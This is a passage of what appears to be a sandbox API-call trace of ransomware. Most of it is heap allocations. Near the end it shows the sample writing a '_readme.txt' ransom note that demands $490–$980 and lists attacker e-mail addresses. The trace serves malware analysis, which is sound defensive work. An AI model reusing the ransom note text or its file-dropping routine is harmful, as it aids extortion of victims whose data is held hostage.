lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.522] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.523] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.524] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0066.524] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.524] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.524] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.524] PathFindFileNameW (pszPath="") returned="" [0066.524] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.525] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.525] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.525] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.525] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.525] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.525] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.525] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0066.525] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.525] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.525] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0066.525] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.525] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.525] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.525] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.525] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.526] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.526] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.526] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get 